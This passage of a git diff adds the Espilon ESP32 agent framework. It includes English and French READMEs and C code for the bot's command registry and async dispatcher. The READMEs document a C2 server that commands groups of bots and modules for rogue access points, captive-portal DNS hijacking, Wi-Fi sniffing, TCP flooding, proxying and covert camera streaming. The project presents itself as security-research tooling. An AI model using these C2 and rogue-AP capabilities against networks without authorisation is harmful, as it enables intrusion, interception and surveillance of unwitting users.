```
|
||||
|
||||
5. **Start the C2 server**
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
python3 c3po.py --port 2626
|
||||
```
|
||||
|
||||
For detailed installation instructions, see [INSTALL.md](docs/INSTALL.md).
|
||||
|
||||
---
|
||||
|
||||
## Modules
|
||||
|
||||
Espilon uses a modular architecture where each module is an isolated ESP-IDF component.
|
||||
|
||||
### System Module
|
||||
|
||||
Basic device management:
|
||||
- `system_reboot` - Reboot the device
|
||||
- `system_mem` - Memory usage statistics
|
||||
- `system_uptime` - Device uptime
|
||||
|
||||
### Network Module
|
||||
|
||||
Advanced network capabilities:
|
||||
- `ping` - ICMP ping with custom parameters
|
||||
- `arp_scan` - Discover devices on local network
|
||||
- `proxy_start/stop` - TCP reverse proxy
|
||||
- `dos_tcp` - Controlled traffic generation (testing only)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Wireless manipulation (authorized testing only):
|
||||
- `fakeap_start` - Create rogue access point
|
||||
- `portal_start` - Launch captive portal with DNS hijacking
|
||||
- `sniffer_start` - 802.11 packet capture
|
||||
- `fakeap_stop` - Cleanup and restore
|
||||
|
||||
### Recon Module
|
||||
|
||||
Reconnaissance capabilities:
|
||||
- `capture` - ESP32-CAM snapshot (JPEG)
|
||||
- `stream_start/stop` - UDP video streaming
|
||||
- `trilat_scan` - BLE device discovery (WIP)
|
||||
|
||||
See [MODULES.md](docs/MODULES.md) for complete API documentation.
|
||||
|
||||
---
|
||||
|
||||
## 🎮 C2 Server
|
||||
|
||||
Espilon includes a custom C2 server (`c3po`) specifically designed for ESP32 constraints.
|
||||
|
||||
### Features
|
||||
|
||||
- **Device Registry**: Track connected agents by unique ID
|
||||
- **Group Management**: Organize devices into logical groups
|
||||
- **Command Targeting**: Send commands to individuals, groups, or all
|
||||
- **Interactive CLI**: Tab completion and help system
|
||||
- **Encrypted Protocol**: ChaCha20 + Protocol Buffers
|
||||
- **Plugin System**: Extensible command architecture
|
||||
|
||||
### Usage
|
||||
|
||||
```bash
|
||||
# Start server
|
||||
python3 tools/c2/c3po.py --port 2626
|
||||
|
||||
# List connected devices
|
||||
c3po> list
|
||||
|
||||
# Send command to device
|
||||
c3po> send ce4f626b system_mem
|
||||
|
||||
# Send to all devices
|
||||
c3po> send all system_uptime
|
||||
|
||||
# Create group
|
||||
c3po> group add lab ce4f626b a91dd021
|
||||
|
||||
# Send to group
|
||||
c3po> send group lab system_reboot
|
||||
```
|
||||
|
||||
See [tools/c2/README.md](tools/c2/README.md) for detailed C2 documentation.
|
||||
|
||||
---
|
||||
|
||||
## Configuration
|
||||
|
||||
Configuration is done via ESP-IDF's `menuconfig` system.
|
||||
|
||||
### Key Settings
|
||||
|
||||
```
|
||||
Espilon Configuration
|
||||
├── Device ID # Unique identifier (CRC32)
|
||||
├── Network Backend Selection
|
||||
│ ├── WiFi # SSID, password, STA/AP modes
|
||||
│ └── GPRS # APN, SIM800 config
|
||||
├── C2 Server
|
||||
│ ├── IP Address # Server IP
|
||||
│ └── Port # Server port (default: 2626)
|
||||
├── Cryptography
|
||||
│ ├── ChaCha20 Key # 32-byte encryption key
|
||||
│ └── Nonce # 12-byte nonce
|
||||
└── Modules
|
||||
├── Enable Network Module
|
||||
├── Enable FakeAP Module
|
||||
└── Enable Recon Module
|
||||
├── Camera Mode
|
||||
└── BLE Trilateration
|
||||
```
|
||||
|
||||
### Security Configuration
|
||||
|
||||
**CRITICAL**: Change default crypto keys before deployment!
|
||||
|
||||
Default keys are for testing only:
|
||||
- Default Key: `testde32chars0000000000000000000`
|
||||
- Default Nonce: `noncenonceno`
|
||||
|
||||
Generate secure keys:
|
||||
```bash
|
||||
# Generate 32-byte key
|
||||
openssl rand -hex 32
|
||||
|
||||
# Generate 12-byte nonce
|
||||
openssl rand -hex 12
|
||||
```
|
||||
|
||||
See [SECURITY.md](docs/SECURITY.md) for security best practices.
|
||||
|
||||
---
|
||||
|
||||
## Hardware Requirements
|
||||
|
||||
### Minimum Requirements
|
||||
|
||||
- **ESP32** (any variant)
|
||||
- **Flash**: 4MB minimum
|
||||
- **WiFi**: Integrated 802.11 b/g/n
|
||||
|
||||
### For Camera Module
|
||||
|
||||
- **ESP32-CAM** (AI-Thinker or compatible)
|
||||
- **PSRAM**: Required for image buffering
|
||||
- **Camera**: OV2640 or compatible
|
||||
|
||||
### For GPRS Mode
|
||||
|
||||
- **ESP32 DevKit** (any variant)
|
||||
- **SIM800/SIM808** module
|
||||
- **UART**: GPIO 26 (RX), 27 (TX)
|
||||
- **Power Management**: GPIOs 4, 23, 5
|
||||
|
||||
See [HARDWARE.md](docs/HARDWARE.md) for detailed pinouts and wiring diagrams.
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
### Responsible Use
|
||||
|
||||
This tool is designed for:
|
||||
- Authorized penetration testing
|
||||
- Controlled security research
|
||||
- Educational purposes
|
||||
- CTF competitions
|
||||
- IoT security assessments (with permission)
|
||||
|
||||
**NEVER** use for:
|
||||
- Unauthorized network access
|
||||
- Malicious attacks
|
||||
- Privacy violations
|
||||
- Illegal activities
|
||||
|
||||
### Security Considerations
|
||||
|
||||
**Current Implementation:**
|
||||
- ChaCha20 stream cipher (256-bit key)
|
||||
- Protocol Buffers serialization
|
||||
- Implicit authentication via encryption
|
||||
|
||||
**Known Limitations:**
|
||||
- Static nonce (should be unique per message)
|
||||
- No authenticated encryption (no MAC/Poly1305)
|
||||
- Hardcoded default credentials
|
||||
- No forward secrecy
|
||||
- No device enrollment/revocation
|
||||
|
||||
**Recommendations:**
|
||||
- Use ChaCha20-Poly1305 AEAD
|
||||
- Implement unique nonce per message
|
||||
- Add device certificate system
|
||||
- Use TLS/DTLS for transport security
|
||||
|
||||
See [SECURITY.md](docs/SECURITY.md) for complete security documentation.
|
||||
|
||||
---
|
||||
|
||||
## Documentation
|
||||
|
||||
- [Installation Guide](docs/INSTALL.md) - Detailed setup instructions
|
||||
- [Architecture Overview](docs/ARCHITECTURE.md) - System design and components
|
||||
- [Module API](docs/MODULES.md) - Complete module documentation
|
||||
- [Protocol Specification](docs/PROTOCOL.md) - C2 communication protocol
|
||||
- [Hardware Guide](docs/HARDWARE.md) - Pinouts and wiring diagrams
|
||||
- [Security Best Practices](docs/SECURITY.md) - Security guidelines
|
||||
- [Development Guide](docs/DEVELOPMENT.md) - Creating custom modules
|
||||
- [Troubleshooting](docs/TROUBLESHOOTING.md) - Common issues and solutions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### Short-term
|
||||
|
||||
- [ ] Complete GPRS RX implementation
|
||||
- [ ] BLE trilateration module completion
|
||||
- [ ] SOCKS5 proxy support
|
||||
- [ ] Enhanced multi-flasher tool
|
||||
- [ ] Persistent C2 storage (groups, history)
|
||||
- [ ] Request/response correlation tracking
|
||||
|
||||
### Long-term
|
||||
|
||||
#### Mesh IoT Network
|
||||
|
||||
- [ ] Bot-to-bot communication
|
||||
- [ ] Distributed routing protocols
|
||||
- [ ] OTA firmware updates
|
||||
- [ ] Extended range via relay
|
||||
- [ ] Collaborative multilateration
|
||||
- [ ] Zero-trust mesh architecture
|
||||
|
||||
#### Custom PCB
|
||||
|
||||
- [ ] Portable design with battery management
|
||||
- [ ] Integrated antennas (WiFi, GPRS, BLE)
|
||||
- [ ] Embedded sensors (temperature, motion, etc.)
|
||||
- [ ] File system storage (SD card)
|
||||
- [ ] MPU/MCU architecture
|
||||
- [ ] Blue team & Red team variants
|
||||
|
||||
#### Code Improvements
|
||||
|
||||
- [ ] Memory optimization
|
||||
- [ ] Module standardization
|
||||
- [ ] Enhanced C2 protocols
|
||||
- [ ] Unit testing framework
|
||||
- [ ] CI/CD pipeline
|
||||
- [ ] Docker development environment
|
||||
|
||||
---
|
||||
|
||||
## Contributing
|
||||
|
||||
Contributions are welcome! This project is now open source to benefit the security research and IoT communities.
|
||||
|
||||
### How to Contribute
|
||||
|
||||
1. Fork the repository
|
||||
2. Create a feature branch (`git checkout -b feature/amazing-feature`)
|
||||
3. Commit your changes (`git commit -m 'Add amazing feature'`)
|
||||
4. Push to the branch (`git push origin feature/amazing-feature`)
|
||||
5. Open a Pull Request
|
||||
|
||||
### Guidelines
|
||||
|
||||
- Follow the existing code style
|
||||
- Add tests for new features
|
||||
- Update documentation
|
||||
- Ensure security best practices
|
||||
- Only submit authorized security research
|
||||
|
||||
See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.
|
||||
|
||||
---
|
||||
|
||||
## Authors
|
||||
|
||||
- **@Eun0us** - Main developer, firmware architecture
|
||||
- **@off-path** - C2 development lead
|
||||
- **@itsoktocryyy** - Contributor
|
||||
- **@wepfen** - Contributor
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
[To be determined - Please add appropriate license]
|
||||
|
||||
**Recommended licenses for security tools:**
|
||||
- **MIT License** - Permissive, allows commercial use
|
||||
- **Apache 2.0** - Permissive with patent protection
|
||||
- **GPL v3** - Copyleft, modifications must be open source
|
||||
|
||||
---
|
||||
|
||||
## Acknowledgments
|
||||
|
||||
- ESP-IDF team at Espressif
|
||||
- Le Hack conference for initial presentation
|
||||
- Security research community
|
||||
- All contributors and testers
|
||||
|
||||
---
|
||||
|
||||
## Contact
|
||||
|
||||
- GitHub Issues: [Report bugs or request features](https://github.com/yourusername/epsilon/issues)
|
||||
- Discussions: [Community discussions](https://github.com/yourusername/epsilon/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Legal Disclaimer**: This tool is provided for educational and authorized testing purposes only. Users are solely responsible for ensuring their use complies with applicable laws and regulations. The authors assume no liability for misuse or damage caused by this software.
|
||||
359
README.md
Normal file
359
README.md
Normal file
@ -0,0 +1,359 @@
|
||||
# Espilon
|
||||
|
||||
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
|
||||
|
||||
[](LICENSE)
|
||||
[](https://github.com/espressif/esp-idf)
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
|
||||
|
||||
---
|
||||
|
||||
## Documentation Complète
|
||||
|
||||
**[Consultez la documentation complète ici](https://github.com/yourusername/espilon-docs)**
|
||||
|
||||
La documentation MkDocs inclut :
|
||||
|
||||
- Guide d'installation pas à pas
|
||||
- Configuration WiFi et GPRS
|
||||
- Référence des modules et commandes
|
||||
- Guide du flasher multi-device
|
||||
- Spécification du protocole C2
|
||||
- Exemples et cas d'usage
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Prérequis
|
||||
|
||||
- ESP-IDF v5.3.2
|
||||
- Python 3.8+
|
||||
- ESP32 (tout modèle compatible)
|
||||
- LilyGO T-Call pour le mode GPRS (optionnel)
|
||||
|
||||
### Installation Rapide
|
||||
|
||||
```bash
|
||||
# 1. Installer ESP-IDF v5.3.2
|
||||
mkdir -p ~/esp
|
||||
cd ~/esp
|
||||
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
|
||||
cd esp-idf
|
||||
./install.sh esp32
|
||||
. ./export.sh
|
||||
|
||||
# 2. Cloner Espilon
|
||||
cd ~
|
||||
git clone https://github.com/yourusername/epsilon.git
|
||||
cd epsilon/espilon_bot
|
||||
|
||||
# 3. Configurer
|
||||
idf.py menuconfig
|
||||
|
||||
# 4. Compiler et flasher
|
||||
idf.py build
|
||||
idf.py -p /dev/ttyUSB0 flash monitor
|
||||
```
|
||||
|
||||
**Configuration minimale** (menuconfig) :
|
||||
```
|
||||
Espilon Bot Configuration
|
||||
├─ Device ID: "votre_id_unique"
|
||||
├─ Network → WiFi
|
||||
│ ├─ SSID: "VotreWiFi"
|
||||
│ └─ Password: "VotreMotDePasse"
|
||||
└─ Server
|
||||
├─ IP: "192.168.1.100"
|
||||
└─ Port: 2626
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Qu'est-ce qu'Espilon ?
|
||||
|
||||
Espilon transforme des microcontrôleurs ESP32 abordables (~5€) en agents networked puissants pour :
|
||||
|
||||
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
|
||||
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
|
||||
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
|
||||
|
||||
### Modes de Connectivité
|
||||
|
||||
| Mode | Hardware | Portée | Use Case |
|
||||
|------|----------|--------|----------|
|
||||
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
|
||||
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
|
||||
|
||||
---
|
||||
|
||||
## Architecture
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ ESP32 Agent │
|
||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||
│ ↓ ↓ ↓ │
|
||||
│ ┌───────────────────────────────────────────────┐ │
|
||||
│ │ Module System (FreeRTOS) │ │
|
||||
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
|
||||
│ └───────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↕ Encrypted TCP
|
||||
┌─────────────────────┐
|
||||
│ C2 Server (C3PO) │
|
||||
│ - Device Registry │
|
||||
│ - Group Management │
|
||||
│ - CLI Interface │
|
||||
└─────────────────────┘
|
||||
```
|
||||
|
||||
### Composants Clés
|
||||
|
||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||
- **Flasher** : Outil de flash multi-device automatisé
|
||||
|
||||
---
|
||||
|
||||
## Modules Disponibles
|
||||
|
||||
> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig.
|
||||
|
||||
### System Module (Built-in, toujours actif)
|
||||
|
||||
Commandes système de base :
|
||||
|
||||
- `system_reboot` : Redémarrage de l'ESP32
|
||||
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
|
||||
- `system_uptime` : Temps de fonctionnement depuis le boot
|
||||
|
||||
### Network Module
|
||||
|
||||
Module pour reconnaissance et tests réseau :
|
||||
|
||||
- `ping <host> [args...]` : Test de connectivité ICMP
|
||||
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
||||
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
|
||||
- `proxy_stop` : Arrêter le proxy en cours
|
||||
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
Module pour création de points d'accès WiFi simulés :
|
||||
|
||||
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
|
||||
- `fakeap_stop` : Arrêter le faux AP
|
||||
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
|
||||
- `fakeap_clients` : Lister les clients connectés
|
||||
- `fakeap_portal_start` : Activer le portail captif
|
||||
- `fakeap_portal_stop` : Désactiver le portail captif
|
||||
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
|
||||
- `fakeap_sniffer_off` : Désactiver la capture
|
||||
|
||||
### Recon Module
|
||||
|
||||
Module de reconnaissance et collecte de données. Deux modes disponibles :
|
||||
|
||||
#### Mode Camera (ESP32-CAM)
|
||||
|
||||
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
|
||||
- `cam_stop` : Arrêter le streaming
|
||||
|
||||
#### Mode BLE Trilateration
|
||||
|
||||
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
||||
- `trilat stop` : Arrêter la trilatération
|
||||
|
||||
---
|
||||
|
||||
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
|
||||
Choisissez **un seul module** :
|
||||
|
||||
- `CONFIG_MODULE_NETWORK` : Active le Network Module
|
||||
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
|
||||
- `CONFIG_MODULE_RECON` : Active le Recon Module
|
||||
- Puis choisir : `Camera` ou `BLE Trilateration`
|
||||
|
||||
---
|
||||
|
||||
## Outils
|
||||
|
||||
### Multi-Device Flasher
|
||||
|
||||
Flasher automatisé pour configurer plusieurs ESP32 :
|
||||
|
||||
```bash
|
||||
cd tools/flasher
|
||||
python3 flash.py --config devices.json
|
||||
```
|
||||
|
||||
**devices.json** :
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/path/to/espilon_bot",
|
||||
"devices": [
|
||||
{
|
||||
"device_id": "esp001",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "MyNetwork",
|
||||
"wifi_pass": "MyPassword",
|
||||
"srv_ip": "192.168.1.100"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Serveur de Command & Control :
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
```
|
||||
|
||||
**Commandes** :
|
||||
|
||||
- `list` : Lister les agents connectés
|
||||
- `select <id>` : Sélectionner un agent
|
||||
- `cmd <command>` : Exécuter une commande
|
||||
- `group` : Gérer les groupes d'agents
|
||||
|
||||
---
|
||||
|
||||
## Sécurité
|
||||
|
||||
### Chiffrement
|
||||
|
||||
- **ChaCha20** pour les communications C2
|
||||
- **Clés configurables** via menuconfig
|
||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||
|
||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
||||
|
||||
```bash
|
||||
# Générer des clés aléatoires
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
|
||||
### Usage Responsable
|
||||
|
||||
Espilon doit être utilisé uniquement pour :
|
||||
|
||||
- Tests d'intrusion **autorisés**
|
||||
- Recherche en sécurité **éthique**
|
||||
- Éducation et formation
|
||||
- Prototypage IoT légitime
|
||||
|
||||
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
|
||||
|
||||
---
|
||||
|
||||
## Cas d'Usage
|
||||
|
||||
### Pentest WiFi
|
||||
|
||||
- Audit de sécurité réseau
|
||||
- Test de robustesse WPA2/WPA3
|
||||
- Cartographie réseau
|
||||
|
||||
### IoT Security Research
|
||||
|
||||
- Test de devices IoT
|
||||
- Analyse de protocoles
|
||||
- Détection de vulnérabilités
|
||||
|
||||
### Éducation
|
||||
|
||||
- Labs de cybersécurité
|
||||
- Cours d'embarqué
|
||||
- CTF competitions
|
||||
|
||||
---
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (En cours)
|
||||
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] OTA updates
|
||||
- [ ] Multilatération collaborative
|
||||
- [ ] Optimisation mémoire
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] Améliorer la Documentations **(en cours)**
|
||||
- [ ] PCB custom Espilon
|
||||
- [ ] Support ESP32-S3/C3
|
||||
- [ ] Module SDK pour extensions tierces
|
||||
- [ ] Web UI pour C2
|
||||
|
||||
---
|
||||
|
||||
## Licence
|
||||
|
||||
Espilon est sous licence **MIT** avec addendum de sécurité.
|
||||
|
||||
Voir [LICENSE](LICENSE) pour les détails complets.
|
||||
|
||||
**En résumé** :
|
||||
- Utilisation libre pour recherche, éducation, développement
|
||||
- Modification et distribution autorisées
|
||||
- **Obtenir autorisation** avant tout déploiement
|
||||
- Usage malveillant strictement interdit
|
||||
|
||||
---
|
||||
|
||||
## Contributeurs
|
||||
|
||||
- **@Eun0us** - Core architecture, modules
|
||||
- **@off-path** - C2 server, protocol
|
||||
- **@itsoktocryyy** - Network features
|
||||
- **@wepfen** - Documentation, tools
|
||||
|
||||
### Contribuer
|
||||
|
||||
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
|
||||
**Rejoignez-nous** :
|
||||
|
||||
- Rapporter des bugs
|
||||
- Proposer des features
|
||||
- Soumettre des PRs
|
||||
- Améliorer la doc
|
||||
|
||||
---
|
||||
|
||||
## Liens Utiles
|
||||
|
||||
- **[Documentation complète](https://github.com/Espilon-Net/espilon-docs)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **English README** : [README.en.md](README.en.md)
|
||||
|
||||
---
|
||||
|
||||
## Support
|
||||
|
||||
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
|
||||
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
|
||||
|
||||
---
|
||||
|
||||
**Présenté initialement à Le Hack (Juin 2025)**
|
||||
|
||||
**Made with love for security research and education**
|
||||
BIN
assets/images/espilon-firmware-conception.png
Normal file
BIN
assets/images/espilon-firmware-conception.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 203 KiB |
BIN
assets/images/logo-01.jpg
Normal file
BIN
assets/images/logo-01.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 129 KiB |
BIN
assets/images/menuconfig-wifi.png
Normal file
BIN
assets/images/menuconfig-wifi.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 9.6 KiB |
BIN
assets/images/menuconfig1.png
Normal file
BIN
assets/images/menuconfig1.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
BIN
assets/images/source-code_schema.png
Normal file
BIN
assets/images/source-code_schema.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 85 KiB |
8
espilon_bot/CMakeLists.txt
Normal file
8
espilon_bot/CMakeLists.txt
Normal file
@ -0,0 +1,8 @@
|
||||
# For more information about build system see
|
||||
# https://docs.espressif.com/projects/esp-idf/en/latest/api-guides/build-system.html
|
||||
# The following five lines of boilerplate have to be in your project's
|
||||
# CMakeLists in this exact order for cmake to work correctly
|
||||
cmake_minimum_required(VERSION 3.16)
|
||||
|
||||
include($ENV{IDF_PATH}/tools/cmake/project.cmake)
|
||||
project(bot-lwip)
|
||||
9
espilon_bot/README.md
Normal file
9
espilon_bot/README.md
Normal file
@ -0,0 +1,9 @@
|
||||
# TODO
|
||||
|
||||
```md
|
||||
- Tester le mode GPRS; Faire un Post blog sur les test etc
|
||||
- Structure de commandes; facile a implementer (en cas de nouvelles features)
|
||||
- Test et Implementation de la features proxy sock5;
|
||||
- Rework du multi Flasher;
|
||||
- Rework de espilon-shell avec konsole et implémentation des modules espilon; ( en vrai ça peut attendre)
|
||||
```
|
||||
7
espilon_bot/components/command/CMakeLists.txt
Normal file
7
espilon_bot/components/command/CMakeLists.txt
Normal file
@ -0,0 +1,7 @@
|
||||
idf_component_register(
|
||||
SRCS
|
||||
command.c
|
||||
command_async.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES freertos core
|
||||
)
|
||||
65
espilon_bot/components/command/command.c
Normal file
65
espilon_bot/components/command/command.c
Normal file
@ -0,0 +1,65 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "COMMAND";
|
||||
|
||||
static const command_t *registry[MAX_COMMANDS];
|
||||
static size_t registry_count = 0;
|
||||
|
||||
/* =========================================================
|
||||
* Register command
|
||||
* ========================================================= */
|
||||
void command_register(const command_t *cmd)
|
||||
{
|
||||
if (!cmd || !cmd->name || !cmd->handler) {
|
||||
ESP_LOGE(TAG, "Invalid command registration");
|
||||
return;
|
||||
}
|
||||
|
||||
if (registry_count >= MAX_COMMANDS) {
|
||||
ESP_LOGE(TAG, "Command registry full");
|
||||
return;
|
||||
}
|
||||
|
||||
registry[registry_count++] = cmd;
|
||||
ESP_LOGI(TAG, "Registered command: %s", cmd->name);
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Dispatch protobuf command
|
||||
* ========================================================= */
|
||||
void command_process_pb(const c2_Command *cmd)
|
||||
{
|
||||
if (!cmd) return;
|
||||
|
||||
const char *name = cmd->command_name;
|
||||
int argc = cmd->argv_count;
|
||||
char **argv = (char **)cmd->argv;
|
||||
|
||||
for (size_t i = 0; i < registry_count; i++) {
|
||||
const command_t *c = registry[i];
|
||||
|
||||
if (strcmp(c->name, name) != 0)
|
||||
continue;
|
||||
|
||||
/* Validate argc */
|
||||
if (argc < c->min_args || argc > c->max_args) {
|
||||
msg_error("cmd", "Invalid argument count",
|
||||
cmd->request_id);
|
||||
return;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc);
|
||||
|
||||
if (c->async) {
|
||||
command_async_enqueue(c, cmd);
|
||||
} else {
|
||||
c->handler(argc, argv, cmd->request_id, c->ctx);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
msg_error("cmd", "Unknown command", cmd->request_id);
|
||||
}
|
||||
56
espilon_bot/components/command/command.h
Normal file
56
espilon_bot/components/command/command.h
Normal file
@ -0,0 +1,56 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "esp_err.h" // 🔥 OBLIGATOIRE pour esp_err_t
|
||||
#include "c2.pb.h"
|
||||
|
||||
/* ============================================================
|
||||
* Limits
|
||||
* ============================================================ */
|
||||
#define MAX_COMMANDS 32
|
||||
#define MAX_ASYNC_ARGS 8
|
||||
#define MAX_ASYNC_ARG_LEN 64
|
||||
|
||||
/* ============================================================
|
||||
* Command handler prototype
|
||||
* ============================================================ */
|
||||
typedef esp_err_t (*command_handler_t)(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *request_id,
|
||||
void *ctx
|
||||
);
|
||||
|
||||
/* ============================================================
|
||||
* Command definition
|
||||
* ============================================================ */
|
||||
typedef struct {
|
||||
const char *name; /* command name */
|
||||
int min_args;
|
||||
int max_args;
|
||||
command_handler_t handler; /* handler */
|
||||
void *ctx; /* optional context */
|
||||
bool async; /* async execution */
|
||||
} command_t;
|
||||
|
||||
/* ============================================================
|
||||
* Registry
|
||||
* ============================================================ */
|
||||
void command_register(const command_t *cmd);
|
||||
|
||||
/* ============================================================
|
||||
* Dispatcher (called by process.c)
|
||||
* ============================================================ */
|
||||
void command_process_pb(const c2_Command *cmd);
|
||||
|
||||
/* ============================================================
|
||||
* Async support
|
||||
* ============================================================ */
|
||||
void command_async_init(void);
|
||||
|
||||
void command_async_enqueue(
|
||||
const command_t *cmd,
|
||||
const c2_Command *pb_cmd
|
||||
);
|
||||
101
espilon_bot/components/command/command_async.c
Normal file
101
espilon_bot/components/command/command_async.c
Normal file
@ -0,0 +1,101 @@
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/queue.h"
|
||||
#include <string.h>
|
||||
|
||||
static const char *TAG = "CMD_ASYNC";
|
||||
|
||||
/* =========================================================
|
||||
* Async job structure
|
||||
* ========================================================= */
|
||||
typedef struct {
|
||||
const command_t *cmd;
|
||||
int argc;
|
||||
char argv[MAX_ASYNC_ARGS][MAX_ASYNC_ARG_LEN];
|
||||
char *argv_ptrs[MAX_ASYNC_ARGS];
|
||||
char request_id[64];
|
||||
} async_job_t;
|
||||
|
||||
static QueueHandle_t async_queue;
|
||||
|
||||
/* =========================================================
|
||||
* Worker task
|
||||
* ========================================================= */
|
||||
static void async_worker(void *arg)
|
||||
{
|
||||
async_job_t job;
|
||||
|
||||
while (1) {
|
||||
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
|
||||
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
|
||||
|
||||
job.cmd->handler(
|
||||
job.argc,
|
||||
job.argv_ptrs,
|
||||
job.request_id[0] ? job.request_id : NULL,
|
||||
job.cmd->ctx
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Init async system
|
||||
* ========================================================= */
|
||||
void command_async_init(void)
|
||||
{
|
||||
async_queue = xQueueCreate(8, sizeof(async_job_t));
|
||||
if (!async_queue) {
|
||||
ESP_LOGE(TAG, "Failed to create async queue");
|
||||
return;
|
||||
}
|
||||
|
||||
xTaskCreate(
|
||||
async_worker,
|
||||
"cmd_async",
|
||||
4096,
|
||||
NULL,
|
||||
5,
|
||||
NULL
|
||||
);
|
||||
|
||||
ESP_LOGI(TAG, "Async command system ready");
|
||||
}
|
||||
|
||||
/* =========================================================
|
||||
* Enqueue async command
|
||||
* ========================================================= */
|
||||
void command_async_enqueue(const command_t *cmd,
|
||||
const c2_Command *pb_cmd)
|
||||
{
|
||||
if (!cmd || !pb_cmd) return;
|
||||
|
||||
async_job_t job = {0};
|
||||
|
||||
job.cmd = cmd;
|
||||
job.argc = pb_cmd->argv_count;
|
||||
if (job.argc > MAX_ASYNC_ARGS)
|
||||
job.argc = MAX_ASYNC_ARGS;
|
||||
|
||||
for (int i = 0; i < job.argc; i++) {
|
||||
strncpy(job.argv[i],
